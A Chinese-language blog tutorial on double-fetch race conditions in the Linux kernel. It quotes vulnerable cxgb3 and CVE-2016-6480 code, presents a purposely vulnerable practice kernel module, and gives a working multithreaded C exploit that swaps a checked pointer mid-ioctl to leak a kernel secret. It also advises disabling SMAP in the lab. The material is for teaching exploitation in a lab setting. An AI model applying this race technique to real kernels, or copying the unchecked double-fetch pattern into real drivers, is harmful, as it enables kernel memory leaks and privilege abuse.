Linux Kernel Pwn Ⅳ:Double Fetch

简单介绍内核中条件竞争引起的Double Fetch漏洞

Double FetchRace Condition的一种,通常是用户态与内核态之间的数据访问竞争,这是在symmetric multiprocessing (SMP)系统才会出现的漏洞,多核机制使得不同的进程可以同时执行相同的代码,导致了条件竞争

我们知道三个事实

  1. 每个用户进程有其自己的虚拟内存空间
  2. 每个用户进程的虚拟内存空间是孤立的
  3. 内核可以访问所有用户进程的内存空间

一个进程在内核对数据进行验证后,另一个进程对数据进行了修改,从而使内核使用非法数据

数据在用户态与内核态之前传递,通常只需要传递一次,如果数据是个结构体变量,或者说数据含有可变类型或者长度,则往往需要第二次传递,或者多次传递。这类数据经常由header与body两部分构成,在获取body这一次数据传递时,很容易发生Double Fetch漏洞,有以下三种主要情况

  1. Type Selection

第一次传递根据header决定数据类型,根据不同类型来接受第二次传递,在这之间修改了数据,则造成数据与类型不匹配,如cxgb3 main.c中的一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int cxgb_extension_ioctl(struct net_device *dev,void __user *useraddr)
{
u32 cmd;
if (copy_from_user(&cmd, useraddr, sizeof(cmd)))
return -EFAULT;
switch (cmd) {
case CHELSIO_SET_QSET_PARAMS:{
struct ch_qset_params t;
if (copy_from_user(&t, useraddr, sizeof(t)))
return -EFAULT;
if (t.qset_idx >= SGE_QSETS)
return -EINVAL;
break;
}
case CHELSIO_SET_QSET_NUM:{
struct ch_reg edata;
if (copy_from_user(&edata, useraddr, sizeof(edata)))
return -EFAULT;
if (edata.val < 1 ||(edata.val > 1 && !(...)))
return -EINVAL;
break;
}
case CHELSIO_SETMTUTAB:{
struct ch_mtus m;
if (copy_from_user(&m, useraddr, sizeof(m)))
return -EFAULT;
if (m.nmtus != NMTUS)
return -EINVAL;
if (m.mtus[0] < 81)
return -EINVAL;
break;
}
}

line 4时获取了一次数据,并且根据数据类型,选择不同的结构体去接受数据,假如获取到的是CHELSIO_SET_QSET_PARAMS,那么进入line 8的语句,在line 9获取数据前,数据被修改成了CHELSIO_SET_QSET_NUM,那么就是以ch_reg为结构的变量赋给了ch_qset_params结构体,造成了数据类型异常

  1. Size Checking

第一次传递根据header获取size,申请对应大小的buf,第二次传递接受数据存入buf

如果一直使用第一次传递的size,那么溢出是可以避免的,若是其他语句中从第二次传递的数据来获取size,那么难免会发生溢出,看CVE-2016-6480中的漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int ioctl_send_fib(struct aac_dev* dev,void __user *arg)
{
struct hw_fib * kfib;
...
if (copy_from_user((void *)kfib, arg, sizeof(...))) {
aac_fib_free(fibptr);
return -EFAULT;
}
...
size = le16_to_cpu(kfib->header.Size) + sizeof(...);
if (size < le16_to_cpu(kfib->header.SenderSize))
size = le16_to_cpu(kfib->header.SenderSize);
if (size > dev->max_fib_size) {
kfib = pci_alloc_consistent(dev->pdev, size, &daddr);
}
if (copy_from_user(kfib, arg, size)) {
retval = -EFAULT;
goto cleanup;
}
if (kfib->header.Command == cpu_to_le16(...)) {
...
} else {
retval = aac_fib_send(le16_to_cpu(kfib->header.Command),...
le16_to_cpu(kfib->header.Size) , FsaNormal,
1, 1, NULL, NULL);
...
}
}

line 5这里先读取了一次数据,用来确定sizeline 10->line 12),然后在line 14申请了buf,最后在line 16根据size读取了数据,如果在此之前修改了arg指向的内容,也就是用户数据,则读到kfib的数据,可以是异常数据,进一步,在line 24中引用到了klib->header.Size,这原本是第一次读取时验证的size,如果第二次读取时被恶意线程修改成很大的数,就会造成缓冲区溢出

  1. Shallow Copy

这种数据传递通常是结构体类型的变量传递,结构体中包含了指针,当把这个数据传递进内核时,只是得到了结构体的数据,也就是浅拷贝,如果对结构体中的指针验证过后使用之前,恶意线程修改了这个指针,便是绕过了验证

Vul LKM

以一个简单的例子来分析,模块 double_fetch.c内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>

struct file_operations fops;
char secret[] = "Double Fetch is great!";
struct t{
long long flag;
char *buf;
};

void double_fetch_ioctl(struct file *file, unsigned int cmd, struct t *arg){
switch(cmd){
case 0x1001:
printk("Secret at %p.\n", secret);
break;
case 0x1002:
if(arg->flag){
if(arg->buf == &secret){
printk("You can not see secret.\n");
return;
}
int i = 0;
printk("Checking...\n");
msleep(50);
int len = strlen(arg->buf);
for(i = 0; i < len; i++){
if(arg->buf[i] != secret[i]){
printk("Your message is wrong.\n");
return;
}
}
printk("The secret is : \"%s\".\n", arg->buf);
}else{
printk("You don't want to get it.\n");
}
break;
default:
printk("ERROR\n");
break;
}
}

int double_fetch_write(struct file *file, const char *buf, unsigned long len){
printk("You write something.\n");
return len;
}

void double_fetch_read(struct file *file, const char *buf, unsigned long len){
printk("You read something.\n");
}

static int __init double_fetch_init(void){
fops.read = double_fetch_read;
fops.write = double_fetch_write;
fops.unlocked_ioctl = double_fetch_ioctl;
printk(KERN_ALERT "double_fetch driver init!\n");
create_proc_entry("double_fetch", 0666, 0)->proc_fops = &fops;
return 0;
}

static void __exit double_fetch_exit(void){
printk(KERN_ALERT "double_fetch driver exit\n");
}

module_init(double_fetch_init);
module_exit(double_fetch_exit);

在该模块中注册的ioctl函数提供两个功能

  • 0x1001会输出模块中secret的地址
  • 0x1002会对参数进行验证,这里的参数是一个结构体指针,拥有两个成员,一个flag标志位与一个buf指针,当标志位为真且buf指针不能是内核中的secret地址,如果bufsecret内容相同,则输出

Exploit

那么如何获取这个secret内容,可以使用Shallow Copy的问题,在0x1002中,对buf指针验证与内容验证中间,我写了一个msleep(50)来程序堵塞情况,在这50ms的时间间隔里,如果修改buf指针变成secret的地址,则可以成功输出secret的内容

如何在这50ms内,对buf指针进行修改,这就是Double Fetch的重点所在

我们知道如今的多任务处理系统,看起来多个程序在同时运行,其实是CPU与操作系统一起营造的假象,事实是由操作系统来调度,当CPU处理程序A时,因为某种原因需要等待,那么CPU转而去处理程序B,回头再来处理A,当 CPU速度足够快时,看起来就是程序A,B同时运行

所以我们需要另一个线程来修改buf指针,主线程不断地调用0x1002的功能,另一个线程则不断的修改buf指针,当主线程中完成了对buf的检查后,在那50ms的间隔里,另一个线程修改了buf指针指向了secret,则下面的逐字符比较其实就是自身比较,则可以输出secret内容了

pwn.c内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// gcc pwn.c -static -lpthread -o pwn 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#define secret_at 0xffffffffa00002b0

struct t{
long long flag;
char *buf;
};

char ok = 1;

void change(struct t* p){
int i;
while(ok){
p->buf = secret_at;
}
}

char junk[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main(){
int fd = open("/proc/double_fetch", O_WRONLY);
ioctl(fd, 0x1001, 0);
pthread_t t1;
struct t fake;
fake.flag = 1;
fake.buf = &junk;
pthread_create(&t1, NULL, change, &fake);
int i;
for(i = 0; i < 10; i++){
fake.buf = &junk;
ioctl(fd, 0x1002, &fake);
}
ok = 0;
pthread_join(t1, NULL);
close(fd);

return 0;
}

由于这里需要多线程的支持,qemu启动也得开启多线程的功能

1
-smp 2,cores=2,threads=1  \

同时也要关闭SMAP,因为在内核中引用了用户态数据

Attachment

Double_Fetch:链接: https://pan.baidu.com/s/1g-a34lnS4ShDzjyAagkIyQ 提取码: ike9

Reference

针对Linux内核中double fetch漏洞的研究

https://github.com/UCL-CREST/doublefetch

Double Fetch - CTF Wiki


  kernelpwn

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×